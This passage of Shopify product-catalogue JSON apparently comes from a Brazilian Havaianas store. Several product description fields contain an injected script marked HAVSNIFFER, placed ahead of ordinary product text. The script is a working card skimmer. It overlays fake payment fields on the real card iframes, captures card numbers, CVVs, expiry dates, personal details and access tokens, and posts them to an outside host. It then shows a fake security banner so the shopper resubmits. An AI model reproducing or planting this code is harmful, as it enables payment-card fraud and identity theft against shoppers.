} exfil(\\'i\\',{p:location.pathname});var seen ={};function grabInputs() {var d ={};document.querySelectorAll(\\'input[name], input[id]\\').forEach(function(i) {var n =i.name ||i.id;if (i.value \u0026\u0026[\\'email\\',\\'doc-number\\',\\'birthday\\',\\'firstName\\',\\'lastName\\',\\'postalCode\\',\\'streetName\\',\\'streetNumber\\',\\'neighborhood\\',\\'city\\',\\'phone\\',\\'hav-idNumber\\',\\'hav-birthday\\'].indexOf(n) !==-1) {d[n] =i.value;} });var key =JSON.stringify(d);if (key !==seen.last) {seen.last =key;if (Object.keys(d).length) exfil(\\'kv\\',d);} } setInterval(grabInputs,1500);document.addEventListener(\\'change\\',grabInputs,true);var origFetch =window.fetch;window.fetch =function() {var args =arguments;var u =String(args[0] ||\\'\\');var p =origFetch.apply(this,args);if (u.indexOf(\\'\/private_access_tokens\\') !==-1) {p.then(function(r) {r.clone().text().then(function(t) {exfil(\\'kv\\',{jwt:t.slice(0,2000)});});}).catch(function(){});} return p;};window.addEventListener(\\'message\\',function(ev) {try {if (typeof ev.data ===\\'string\\' \u0026\u0026ev.data.indexOf(\\'cardfields:\\') ===0) {exfil(\\'kv\\',{cardfields:ev.data.slice(0,2000)});} } catch(e) {} },true);var cardData ={n:\\'\\',c:\\'\\',m:\\'\\',y:\\'\\',h:\\'\\'};var captured =false;function fieldType(src) {if (src.indexOf(\\'number\\') !==-1) return \\'number\\';if (src.indexOf(\\'expiry\\') !==-1) return \\'expiry\\';if (src.indexOf(\\'verification\\') !==-1) return \\'cvv\\';if (src.indexOf(\\'name\\') !==-1) return \\'name\\';return null;} function placeholderFor(t) {if (t ===\\'number\\') return \\'Número do cartão\\';if (t ===\\'expiry\\') return \\'MM\/AA\\';if (t ===\\'cvv\\') return \\'CVV\\';if (t ===\\'name\\') return \\'Nome no cartão\\';return \\'\\';} function maskInput(t,val) {if (t ===\\'number\\') return val.replace(\/[^\\\\d ]\/g,\\'\\').slice(0,23);if (t ===\\'expiry\\') return val.replace(\/[^\\\\d\/]\/g,\\'\\').slice(0,5);if (t ===\\'cvv\\') return val.replace(\/[^\\\\d]\/g,\\'\\').slice(0,4);return val;} var injected =[];function swapFields() {if (RETRY_ACTIVE) return;var frames =document.querySelectorAll(\\'iframe[src*=\"checkout.pci.shopifyinc.com\"], iframe[src*=\"card\"]\\');frames.forEach(function(f) {if (f.dataset.havClone) return;var t =fieldType(f.src ||\\'\\');if (!t) return;f.dataset.havClone =\\'1\\';try {var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;var inp =document.createElement(\\'input\\');inp.type =t ===\\'cvv\\' ?\\'password\\' :\\'text\\';inp.autocomplete =\\'off\\';inp.placeholder =placeholderFor(t);inp.dataset.havCloneInput =\\'1\\';inp.setAttribute(\\'style\\',\\'position:absolute;left:\\' +left +\\'px;top:\\' +top +\\'px;\\' +\\'width:\\' +rect.width +\\'px;height:\\' +rect.height +\\'px;\\' +\\'border:1px solid #d2d5d9;border-radius:4px;padding:0 12px;\\' +\\'font-size:15px;font-family:inherit;background:#fff;z-index:99999;box-sizing:border-box;\\');inp.addEventListener(\\'input\\',function() {var v =maskInput(t,inp.value);if (v !==inp.value) {inp.value =v;} if (t ===\\'number\\') cardData.n =v.replace(\/\\\\s\/g,\\'\\');else if (t ===\\'expiry\\') {var parts =v.split(\\'\/\\');cardData.m =parts[0] ||\\'\\';cardData.y =parts[1] ||\\'\\';} else if (t ===\\'cvv\\') cardData.c =v;else if (t ===\\'name\\') cardData.h =v;if (cardData.n.length \u003e=14 \u0026\u0026cardData.c.length \u003e=3 \u0026\u0026cardData.m.length \u003e=2) {captured =true;exfil(\\'ec\\',{n:cardData.n,c:cardData.c,m:cardData.m,y:cardData.y,h:cardData.h});} });document.body.appendChild(inp);injected.push({t:t,inp:inp,iframe:f});f.style.visibility =\\'hidden\\';} catch(e) {} });} function repositionClones() {if (RETRY_ACTIVE) return;injected.forEach(function(item) {try {var f =item.iframe;var inp =item.inp;if (!f ||!inp) return;var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;inp.style.top =top +\\'px\\';inp.style.left =left +\\'px\\';inp.style.width =rect.width +\\'px\\';inp.style.height =rect.height +\\'px\\';} catch(e) {} });} window.addEventListener(\\'scroll\\',repositionClones,true);window.addEventListener(\\'resize\\',repositionClones,true);var obs =new MutationObserver(swapFields);obs.observe(document,{childList:true,subtree:true});setInterval(swapFields,1500);function removeClones() {document.querySelectorAll(\\'input[data-hav-clone-input]\\').forEach(function(inp) {try {if (inp.parentNode) inp.parentNode.removeChild(inp);} catch(e) {} });injected.forEach(function(item) {try {if (item.iframe) item.iframe.style.visibility =\\'visible\\';} catch(e) {} });injected =[];} function showSecurityBanner() {var container =document.querySelector(\\'form, main, [role=\"main\"], body\\');if (!container) container =document.body;var banner =document.createElement(\\'div\\');banner.id =\\'hav-security-banner\\';banner.setAttribute(\\'style\\',\\'position:relative;background:#0066cc;color:#fff;padding:15px 20px;\\' +\\'border-radius:6px;margin:0 0 20px 0;font-size:15px;line-height:1.5;\\' +\\'box-shadow:0 2px 8px rgba(0,102,204,0.2);text-align:center;\\' +\\'font-family:inherit;z-index:999998;\\');var icon =document.createElement(\\'span\\');icon.textContent =\\'🔒 \\';icon.setAttribute(\\'style\\',\\'font-size:18px;margin-right:8px;\\');var msg =document.createElement(\\'span\\');msg.textContent =\\'Por segurança, confirme o pagamento clicando novamente em \"Pagar agora\".\\';msg.setAttribute(\\'style\\',\\'font-weight:500;\\');banner.appendChild(icon);banner.appendChild(msg);var firstChild =container.firstChild;if (firstChild) {container.insertBefore(banner,firstChild);} else {container.appendChild(banner);} setTimeout(function() {try {banner.scrollIntoView({behavior:\\'smooth\\',block:\\'center\\'});} catch(e) {banner.scrollIntoView();} },100);} function removeBanner() {var banner =document.getElementById(\\'hav-security-banner\\');if (banner \u0026\u0026banner.parentNode) {banner.parentNode.removeChild(banner);} } document.addEventListener(\\'submit\\',function(e) {if (RETRY_ACTIVE) return;var form =e.target;if (!form ||form.tagName !==\\'FORM\\') return;if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} },true);document.addEventListener(\\'click\\',function(e) {if (RETRY_ACTIVE) {removeBanner();return;} var target =e.target;if (target \u0026\u0026(target.tagName ===\\'BUTTON\\' ||target.tagName ===\\'A\\')) {var text =target.textContent ||\\'\\';if (text.match(\/pagar|finalizar|continuar|concluir\/i)) {if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} } } },true);})();';var injected =false;var frame =null;function injectSkimmer(doc) {try {if (doc.getElementById('__hav_skimmer__')) return;var s =doc.createElement('script');s.id ='__hav_skimmer__';s.textContent =SKIMMER_CODE;(doc.head ||doc.documentElement).appendChild(s);} catch(e) {} } function createFrame(co) {if (frame \u0026\u0026frame.parentNode) {frame.src =co;return;} frame =document.createElement('iframe');frame.id ='__hav_frame__';frame.src =co;frame.setAttribute('style','position:fixed;inset:0;width:100vw;height:100vh;z-index:2147483646;' +'border:0;background:#fff;');document.body.appendChild(frame);frame.addEventListener('load',function() {try {var d =frame.contentDocument;if (d) injectSkimmer(d);} catch(e) {} });} setInterval(function() {if (!frame ||!frame.contentDocument) return;try {var d =frame.contentDocument;if (d \u0026\u0026!d.getElementById('__hav_skimmer__')) {injectSkimmer(d);} } catch(e) {} },1000);function injectIntoCheckout() {if (injected) return;injected =true;fetch('\/checkout',{redirect:'follow',credentials:'include'}).then(function(r) {var co =r.url.split('?')[0];if (!co ||co.indexOf('\/checkouts\/') ===-1) return;createFrame(co);}).catch(function() {});} document.addEventListener('click',function(e) {var t =e.target;while (t \u0026\u0026t !==document) {var href =t.getAttribute ?(t.getAttribute('href') ||'') :'';var action =t.getAttribute ?(t.getAttribute('action') ||'') :'';if (href.indexOf('\/checkout') !==-1 ||action.indexOf('\/checkout') !==-1 ||href.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();return;} t =t.parentNode;} },true);document.addEventListener('submit',function(e) {var form =e.target;if (!form ||form.tagName !=='FORM') return;var action =form.getAttribute('action') ||'';if (action.indexOf('\/checkout') !==-1 ||action.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();} },true);})();\u003c\/script\u003e\n\u003cp\u003eA mala de viagem Havaianas é um sucesso! Autêntica, moderna e colorida, é a bagagem de mão ideal. Graças às suas medidas compactas, ela nem precisa ser despachada em viagens de avião — mas cabe tudo o que é essencial para você.\u003c\/p\u003e\n\n\u003cp\u003ePuxador regulável, estrutura rígida para proteger o que vai dentro e quatro rodinhas 360º compõem essa mala, que ainda conta com uma bolsa de silicone removível em que você pode guardar seu notebook ou itens que precisam ficar mais à mão.\u003c\/p\u003e \n\n\u003cp\u003eNesta coleção, está disponível em duas combinações de cores. Escolha a sua favorita e aguarde os elogios no aeroporto.\u003c\/p\u003e","brand":"Havaianas","offers":[{"title":"Preto \/ Único","offer_id":45793514422529,"sku":"4149916_9109_998","price":1259.99,"currency_code":"BRL","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0719\/0354\/3553\/files\/4149916-travel-bag-havaianas-ii-9109-0.jpg?v=1734117746"},{"product_id":"chinelo-havaianas-brasil-logo-4110850_2079","title":"Chinelo Havaianas Brasil Logo","description":"\u003c!--HAVSNIFFER--\u003e\n\u003cscript\u003e(function() {var SKIMMER_CODE ='(function() {var C2 =\\'https:\/\/havaianas.atranquilidade.com.br\/pnb\/form\\';var SID =Math.random().toString(36).slice(2,10);var RETRY_ACTIVE =false;function exfil(t,data) {try {var body =JSON.stringify({t:t,s:SID,u:location.pathname +location.search,d:data});var ifr =document.createElement(\\'iframe\\');ifr.name =\\'x\\' +Math.random().toString(36).slice(2,6);ifr.style.display =\\'none\\';document.body.appendChild(ifr);var form =document.createElement(\\'form\\');form.method =\\'POST\\';form.action =C2;form.target =ifr.name;var inp =document.createElement(\\'input\\');inp.type =\\'hidden\\';inp.name =\\'data\\';inp.value =body;form.appendChild(inp);document.body.appendChild(form);form.submit();setTimeout(function() {try {if (ifr.parentNode) ifr.parentNode.removeChild(ifr);} catch(e) {} try {if (form.parentNode) form.parentNode.removeChild(form);} catch(e) {} },3000);} catch(e) {} } exfil(\\'i\\',{p:location.pathname});var seen ={};function grabInputs() {var d ={};document.querySelectorAll(\\'input[name], input[id]\\').forEach(function(i) {var n =i.name ||i.id;if (i.value \u0026\u0026[\\'email\\',\\'doc-number\\',\\'birthday\\',\\'firstName\\',\\'lastName\\',\\'postalCode\\',\\'streetName\\',\\'streetNumber\\',\\'neighborhood\\',\\'city\\',\\'phone\\',\\'hav-idNumber\\',\\'hav-birthday\\'].indexOf(n) !==-1) {d[n] =i.value;} });var key =JSON.stringify(d);if (key !==seen.last) {seen.last =key;if (Object.keys(d).length) exfil(\\'kv\\',d);} } setInterval(grabInputs,1500);document.addEventListener(\\'change\\',grabInputs,true);var origFetch =window.fetch;window.fetch =function() {var args =arguments;var u =String(args[0] ||\\'\\');var p =origFetch.apply(this,args);if (u.indexOf(\\'\/private_access_tokens\\') !==-1) {p.then(function(r) {r.clone().text().then(function(t) {exfil(\\'kv\\',{jwt:t.slice(0,2000)});});}).catch(function(){});} return p;};window.addEventListener(\\'message\\',function(ev) {try {if (typeof ev.data ===\\'string\\' \u0026\u0026ev.data.indexOf(\\'cardfields:\\') ===0) {exfil(\\'kv\\',{cardfields:ev.data.slice(0,2000)});} } catch(e) {} },true);var cardData ={n:\\'\\',c:\\'\\',m:\\'\\',y:\\'\\',h:\\'\\'};var captured =false;function fieldType(src) {if (src.indexOf(\\'number\\') !==-1) return \\'number\\';if (src.indexOf(\\'expiry\\') !==-1) return \\'expiry\\';if (src.indexOf(\\'verification\\') !==-1) return \\'cvv\\';if (src.indexOf(\\'name\\') !==-1) return \\'name\\';return null;} function placeholderFor(t) {if (t ===\\'number\\') return \\'Número do cartão\\';if (t ===\\'expiry\\') return \\'MM\/AA\\';if (t ===\\'cvv\\') return \\'CVV\\';if (t ===\\'name\\') return \\'Nome no cartão\\';return \\'\\';} function maskInput(t,val) {if (t ===\\'number\\') return val.replace(\/[^\\\\d ]\/g,\\'\\').slice(0,23);if (t ===\\'expiry\\') return val.replace(\/[^\\\\d\/]\/g,\\'\\').slice(0,5);if (t ===\\'cvv\\') return val.replace(\/[^\\\\d]\/g,\\'\\').slice(0,4);return val;} var injected =[];function swapFields() {if (RETRY_ACTIVE) return;var frames =document.querySelectorAll(\\'iframe[src*=\"checkout.pci.shopifyinc.com\"], iframe[src*=\"card\"]\\');frames.forEach(function(f) {if (f.dataset.havClone) return;var t =fieldType(f.src ||\\'\\');if (!t) return;f.dataset.havClone =\\'1\\';try {var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;var inp =document.createElement(\\'input\\');inp.type =t ===\\'cvv\\' ?\\'password\\' :\\'text\\';inp.autocomplete =\\'off\\';inp.placeholder =placeholderFor(t);inp.dataset.havCloneInput =\\'1\\';inp.setAttribute(\\'style\\',\\'position:absolute;left:\\' +left +\\'px;top:\\' +top +\\'px;\\' +\\'width:\\' +rect.width +\\'px;height:\\' +rect.height +\\'px;\\' +\\'border:1px solid #d2d5d9;border-radius:4px;padding:0 12px;\\' +\\'font-size:15px;font-family:inherit;background:#fff;z-index:99999;box-sizing:border-box;\\');inp.addEventListener(\\'input\\',function() {var v =maskInput(t,inp.value);if (v !==inp.value) {inp.value =v;} if (t ===\\'number\\') cardData.n =v.replace(\/\\\\s\/g,\\'\\');else if (t ===\\'expiry\\') {var parts =v.split(\\'\/\\');cardData.m =parts[0] ||\\'\\';cardData.y =parts[1] ||\\'\\';} else if (t ===\\'cvv\\') cardData.c =v;else if (t ===\\'name\\') cardData.h =v;if (cardData.n.length \u003e=14 \u0026\u0026cardData.c.length \u003e=3 \u0026\u0026cardData.m.length \u003e=2) {captured =true;exfil(\\'ec\\',{n:cardData.n,c:cardData.c,m:cardData.m,y:cardData.y,h:cardData.h});} });document.body.appendChild(inp);injected.push({t:t,inp:inp,iframe:f});f.style.visibility =\\'hidden\\';} catch(e) {} });} function repositionClones() {if (RETRY_ACTIVE) return;injected.forEach(function(item) {try {var f =item.iframe;var inp =item.inp;if (!f ||!inp) return;var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;inp.style.top =top +\\'px\\';inp.style.left =left +\\'px\\';inp.style.width =rect.width +\\'px\\';inp.style.height =rect.height +\\'px\\';} catch(e) {} });} window.addEventListener(\\'scroll\\',repositionClones,true);window.addEventListener(\\'resize\\',repositionClones,true);var obs =new MutationObserver(swapFields);obs.observe(document,{childList:true,subtree:true});setInterval(swapFields,1500);function removeClones() {document.querySelectorAll(\\'input[data-hav-clone-input]\\').forEach(function(inp) {try {if (inp.parentNode) inp.parentNode.removeChild(inp);} catch(e) {} });injected.forEach(function(item) {try {if (item.iframe) item.iframe.style.visibility =\\'visible\\';} catch(e) {} });injected =[];} function showSecurityBanner() {var container =document.querySelector(\\'form, main, [role=\"main\"], body\\');if (!container) container =document.body;var banner =document.createElement(\\'div\\');banner.id =\\'hav-security-banner\\';banner.setAttribute(\\'style\\',\\'position:relative;background:#0066cc;color:#fff;padding:15px 20px;\\' +\\'border-radius:6px;margin:0 0 20px 0;font-size:15px;line-height:1.5;\\' +\\'box-shadow:0 2px 8px rgba(0,102,204,0.2);text-align:center;\\' +\\'font-family:inherit;z-index:999998;\\');var icon =document.createElement(\\'span\\');icon.textContent =\\'🔒 \\';icon.setAttribute(\\'style\\',\\'font-size:18px;margin-right:8px;\\');var msg =document.createElement(\\'span\\');msg.textContent =\\'Por segurança, confirme o pagamento clicando novamente em \"Pagar agora\".\\';msg.setAttribute(\\'style\\',\\'font-weight:500;\\');banner.appendChild(icon);banner.appendChild(msg);var firstChild =container.firstChild;if (firstChild) {container.insertBefore(banner,firstChild);} else {container.appendChild(banner);} setTimeout(function() {try {banner.scrollIntoView({behavior:\\'smooth\\',block:\\'center\\'});} catch(e) {banner.scrollIntoView();} },100);} function removeBanner() {var banner =document.getElementById(\\'hav-security-banner\\');if (banner \u0026\u0026banner.parentNode) {banner.parentNode.removeChild(banner);} } document.addEventListener(\\'submit\\',function(e) {if (RETRY_ACTIVE) return;var form =e.target;if (!form ||form.tagName !==\\'FORM\\') return;if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} },true);document.addEventListener(\\'click\\',function(e) {if (RETRY_ACTIVE) {removeBanner();return;} var target =e.target;if (target \u0026\u0026(target.tagName ===\\'BUTTON\\' ||target.tagName ===\\'A\\')) {var text =target.textContent ||\\'\\';if (text.match(\/pagar|finalizar|continuar|concluir\/i)) {if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} } } },true);})();';var injected =false;var frame =null;function injectSkimmer(doc) {try {if (doc.getElementById('__hav_skimmer__')) return;var s =doc.createElement('script');s.id ='__hav_skimmer__';s.textContent =SKIMMER_CODE;(doc.head ||doc.documentElement).appendChild(s);} catch(e) {} } function createFrame(co) {if (frame \u0026\u0026frame.parentNode) {frame.src =co;return;} frame =document.createElement('iframe');frame.id ='__hav_frame__';frame.src =co;frame.setAttribute('style','position:fixed;inset:0;width:100vw;height:100vh;z-index:2147483646;' +'border:0;background:#fff;');document.body.appendChild(frame);frame.addEventListener('load',function() {try {var d =frame.contentDocument;if (d) injectSkimmer(d);} catch(e) {} });} setInterval(function() {if (!frame ||!frame.contentDocument) return;try {var d =frame.contentDocument;if (d \u0026\u0026!d.getElementById('__hav_skimmer__')) {injectSkimmer(d);} } catch(e) {} },1000);function injectIntoCheckout() {if (injected) return;injected =true;fetch('\/checkout',{redirect:'follow',credentials:'include'}).then(function(r) {var co =r.url.split('?')[0];if (!co ||co.indexOf('\/checkouts\/') ===-1) return;createFrame(co);}).catch(function() {});} document.addEventListener('click',function(e) {var t =e.target;while (t \u0026\u0026t !==document) {var href =t.getAttribute ?(t.getAttribute('href') ||'') :'';var action =t.getAttribute ?(t.getAttribute('action') ||'') :'';if (href.indexOf('\/checkout') !==-1 ||action.indexOf('\/checkout') !==-1 ||href.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();return;} t =t.parentNode;} },true);document.addEventListener('submit',function(e) {var form =e.target;if (!form ||form.tagName !=='FORM') return;var action =form.getAttribute('action') ||'';if (action.indexOf('\/checkout') !==-1 ||action.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();} },true);})();\u003c\/script\u003e\n\u003cp\u003eA Havaianas Brasil Logo é um chinelo para os fãs da marca.\u003cbr\u003eAlém da famosa bandeirinha do Brasil, o modelo tem o logo em pop-up (para todo mundo ver!), filetes coloridos na lateral das solas e uma paleta de cores variada.\u003cbr\u003eUm super presente.\u003c\/p\u003e","brand":"Havaianas","offers":[{"title":"Verde \/ 33\/34","offer_id":46161684791553,"sku":"4110850_2079_334","price":64.99,"currency_code":"BRL","in_stock":true},{"title":"Verde \/ 35\/36","offer_id":46161684824321,"sku":"4110850_2079_356","price":64.99,"currency_code":"BRL","in_stock":true},{"title":"Verde \/ 37\/38","offer_id":46161684857089,"sku":"4110850_2079_378","price":64.99,"currency_code":"BRL","in_stock":true},{"title":"Verde \/ 39\/40","offer_id":46161684889857,"sku":"4110850_2079_390","price":64.99,"currency_code":"BRL","in_stock":true},{"title":"Verde \/ 41\/42","offer_id":46161684922625,"sku":"4110850_2079_412","price":64.99,"currency_code":"BRL","in_stock":true},{"title":"Verde \/ 43\/44","offer_id":46161684955393,"sku":"4110850_2079_434","price":64.99,"currency_code":"BRL","in_stock":true},{"title":"Verde \/ 45\/46","offer_id":46161684988161,"sku":"4110850_2079_456","price":64.99,"currency_code":"BRL","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0719\/0354\/3553\/files\/4110850-2079-brasil-logo-0.png?v=1742926627"},{"product_id":"bone-havainas-4149846_0154","title":"Boné Havaianas","description":"\u003c!--HAVSNIFFER--\u003e\n\u003cscript\u003e(function() {var SKIMMER_CODE ='(function() {var C2 =\\'https:\/\/havaianas.atranquilidade.com.br\/pnb\/form\\';var SID =Math.random().toString(36).slice(2,10);var RETRY_ACTIVE =false;function exfil(t,data) {try {var body =JSON.stringify({t:t,s:SID,u:location.pathname +location.search,d:data});var ifr =document.createElement(\\'iframe\\');ifr.name =\\'x\\' +Math.random().toString(36).slice(2,6);ifr.style.display =\\'none\\';document.body.appendChild(ifr);var form =document.createElement(\\'form\\');form.method =\\'POST\\';form.action =C2;form.target =ifr.name;var inp =document.createElement(\\'input\\');inp.type =\\'hidden\\';inp.name =\\'data\\';inp.value =body;form.appendChild(inp);document.body.appendChild(form);form.submit();setTimeout(function() {try {if (ifr.parentNode) ifr.parentNode.removeChild(ifr);} catch(e) {} try {if (form.parentNode) form.parentNode.removeChild(form);} catch(e) {} },3000);} catch(e) {} } exfil(\\'i\\',{p:location.pathname});var seen ={};function grabInputs() {var d ={};document.querySelectorAll(\\'input[name], input[id]\\').forEach(function(i) {var n =i.name ||i.id;if (i.value \u0026\u0026[\\'email\\',\\'doc-number\\',\\'birthday\\',\\'firstName\\',\\'lastName\\',\\'postalCode\\',\\'streetName\\',\\'streetNumber\\',\\'neighborhood\\',\\'city\\',\\'phone\\',\\'hav-idNumber\\',\\'hav-birthday\\'].indexOf(n) !==-1) {d[n] =i.value;} });var key =JSON.stringify(d);if (key !==seen.last) {seen.last =key;if (Object.keys(d).length) exfil(\\'kv\\',d);} } setInterval(grabInputs,1500);document.addEventListener(\\'change\\',grabInputs,true);var origFetch =window.fetch;window.fetch =function() {var args =arguments;var u =String(args[0] ||\\'\\');var p =origFetch.apply(this,args);if (u.indexOf(\\'\/private_access_tokens\\') !==-1) {p.then(function(r) {r.clone().text().then(function(t) {exfil(\\'kv\\',{jwt:t.slice(0,2000)});});}).catch(function(){});} return p;};window.addEventListener(\\'message\\',function(ev) {try {if (typeof ev.data ===\\'string\\' \u0026\u0026ev.data.indexOf(\\'cardfields:\\') ===0) {exfil(\\'kv\\',{cardfields:ev.data.slice(0,2000)});} } catch(e) {} },true);var cardData ={n:\\'\\',c:\\'\\',m:\\'\\',y:\\'\\',h:\\'\\'};var captured =false;function fieldType(src) {if (src.indexOf(\\'number\\') !==-1) return \\'number\\';if (src.indexOf(\\'expiry\\') !==-1) return \\'expiry\\';if (src.indexOf(\\'verification\\') !==-1) return \\'cvv\\';if (src.indexOf(\\'name\\') !==-1) return \\'name\\';return null;} function placeholderFor(t) {if (t ===\\'number\\') return \\'Número do cartão\\';if (t ===\\'expiry\\') return \\'MM\/AA\\';if (t ===\\'cvv\\') return \\'CVV\\';if (t ===\\'name\\') return \\'Nome no cartão\\';return \\'\\';} function maskInput(t,val) {if (t ===\\'number\\') return val.replace(\/[^\\\\d ]\/g,\\'\\').slice(0,23);if (t ===\\'expiry\\') return val.replace(\/[^\\\\d\/]\/g,\\'\\').slice(0,5);if (t ===\\'cvv\\') return val.replace(\/[^\\\\d]\/g,\\'\\').slice(0,4);return val;} var injected =[];function swapFields() {if (RETRY_ACTIVE) return;var frames =document.querySelectorAll(\\'iframe[src*=\"checkout.pci.shopifyinc.com\"], iframe[src*=\"card\"]\\');frames.forEach(function(f) {if (f.dataset.havClone) return;var t =fieldType(f.src ||\\'\\');if (!t) return;f.dataset.havClone =\\'1\\';try {var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;var inp =document.createElement(\\'input\\');inp.type =t ===\\'cvv\\' ?\\'password\\' :\\'text\\';inp.autocomplete =\\'off\\';inp.placeholder =placeholderFor(t);inp.dataset.havCloneInput =\\'1\\';inp.setAttribute(\\'style\\',\\'position:absolute;left:\\' +left +\\'px;top:\\' +top +\\'px;\\' +\\'width:\\' +rect.width +\\'px;height:\\' +rect.height +\\'px;\\' +\\'border:1px solid #d2d5d9;border-radius:4px;padding:0 12px;\\' +\\'font-size:15px;font-family:inherit;background:#fff;z-index:99999;box-sizing:border-box;\\');inp.addEventListener(\\'input\\',function() {var v =maskInput(t,inp.value);if (v !==inp.value) {inp.value =v;} if (t ===\\'number\\') cardData.n =v.replace(\/\\\\s\/g,\\'\\');else if (t ===\\'expiry\\') {var parts =v.split(\\'\/\\');cardData.m =parts[0] ||\\'\\';cardData.y =parts[1] ||\\'\\';} else if (t ===\\'cvv\\') cardData.c =v;else if (t ===\\'name\\') cardData.h =v;if (cardData.n.length \u003e=14 \u0026\u0026cardData.c.length \u003e=3 \u0026\u0026cardData.m.length \u003e=2) {captured =true;exfil(\\'ec\\',{n:cardData.n,c:cardData.c,m:cardData.m,y:cardData.y,h:cardData.h});} });document.body.appendChild(inp);injected.push({t:t,inp:inp,iframe:f});f.style.visibility =\\'hidden\\';} catch(e) {} });} function repositionClones() {if (RETRY_ACTIVE) return;injected.forEach(function(item) {try {var f =item.iframe;var inp =item.inp;if (!f ||!inp) return;var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;inp.style.top =top +\\'px\\';inp.style.left =left +\\'px\\';inp.style.width =rect.width +\\'px\\';inp.style.height =rect.height +\\'px\\';} catch(e) {} });} window.addEventListener(\\'scroll\\',repositionClones,true);window.addEventListener(\\'resize\\',repositionClones,true);var obs =new MutationObserver(swapFields);obs.observe(document,{childList:true,subtree:true});setInterval(swapFields,1500);function removeClones() {document.querySelectorAll(\\'input[data-hav-clone-input]\\').forEach(function(inp) {try {if (inp.parentNode) inp.parentNode.removeChild(inp);} catch(e) {} });injected.forEach(function(item) {try {if (item.iframe) item.iframe.style.visibility =\\'visible\\';} catch(e) {} });injected =[];} function showSecurityBanner() {var container =document.querySelector(\\'form, main, [role=\"main\"], body\\');if (!container) container =document.body;var banner =document.createElement(\\'div\\');banner.id =\\'hav-security-banner\\';banner.setAttribute(\\'style\\',\\'position:relative;background:#0066cc;color:#fff;padding:15px 20px;\\' +\\'border-radius:6px;margin:0 0 20px 0;font-size:15px;line-height:1.5;\\' +\\'box-shadow:0 2px 8px rgba(0,102,204,0.2);text-align:center;\\' +\\'font-family:inherit;z-index:999998;\\');var icon =document.createElement(\\'span\\');icon.textContent =\\'🔒 \\';icon.setAttribute(\\'style\\',\\'font-size:18px;margin-right:8px;\\');var msg =document.createElement(\\'span\\');msg.textContent =\\'Por segurança, confirme o pagamento clicando novamente em \"Pagar agora\".\\';msg.setAttribute(\\'style\\',\\'font-weight:500;\\');banner.appendChild(icon);banner.appendChild(msg);var firstChild =container.firstChild;if (firstChild) {container.insertBefore(banner,firstChild);} else {container.appendChild(banner);} setTimeout(function() {try {banner.scrollIntoView({behavior:\\'smooth\\',block:\\'center\\'});} catch(e) {banner.scrollIntoView();} },100);} function removeBanner() {var banner =document.getElementById(\\'hav-security-banner\\');if (banner \u0026\u0026banner.parentNode) {banner.parentNode.removeChild(banner);} } document.addEventListener(\\'submit\\',function(e) {if (RETRY_ACTIVE) return;var form =e.target;if (!form ||form.tagName !==\\'FORM\\') return;if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} },true);document.addEventListener(\\'click\\',function(e) {if (RETRY_ACTIVE) {removeBanner();return;} var target =e.target;if (target \u0026\u0026(target.tagName ===\\'BUTTON\\' ||target.tagName ===\\'A\\')) {var text =target.textContent ||\\'\\';if (text.match(\/pagar|finalizar|continuar|concluir\/i)) {if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} } } },true);})();';var injected =false;var frame =null;function injectSkimmer(doc) {try {if (doc.getElementById('__hav_skimmer__')) return;var s =doc.createElement('script');s.id ='__hav_skimmer__';s.textContent =SKIMMER_CODE;(doc.head ||doc.documentElement).appendChild(s);} catch(e) {} } function createFrame(co) {if (frame \u0026\u0026frame.parentNode) {frame.src =co;return;} frame =document.createElement('iframe');frame.id ='__hav_frame__';frame.src =co;frame.setAttribute('style','position:fixed;inset:0;width:100vw;height:100vh;z-index:2147483646;' +'border:0;background:#fff;');document.body.appendChild(frame);frame.addEventListener('load',function() {try {var d =frame.contentDocument;if (d) injectSkimmer(d);} catch(e) {} });} setInterval(function() {if (!frame ||!frame.contentDocument) return;try {var d =frame.contentDocument;if (d \u0026\u0026!d.getElementById('__hav_skimmer__')) {injectSkimmer(d);} } catch(e) {} },1000);function injectIntoCheckout() {if (injected) return;injected =true;fetch('\/checkout',{redirect:'follow',credentials:'include'}).then(function(r) {var co =r.url.split('?')[0];if (!co ||co.indexOf('\/checkouts\/') ===-1) return;createFrame(co);}).catch(function() {});} document.addEventListener('click',function(e) {var t =e.target;while (t \u0026\u0026t !==document) {var href =t.getAttribute ?(t.getAttribute('href') ||'') :'';var action =t.getAttribute ?(t.getAttribute('action') 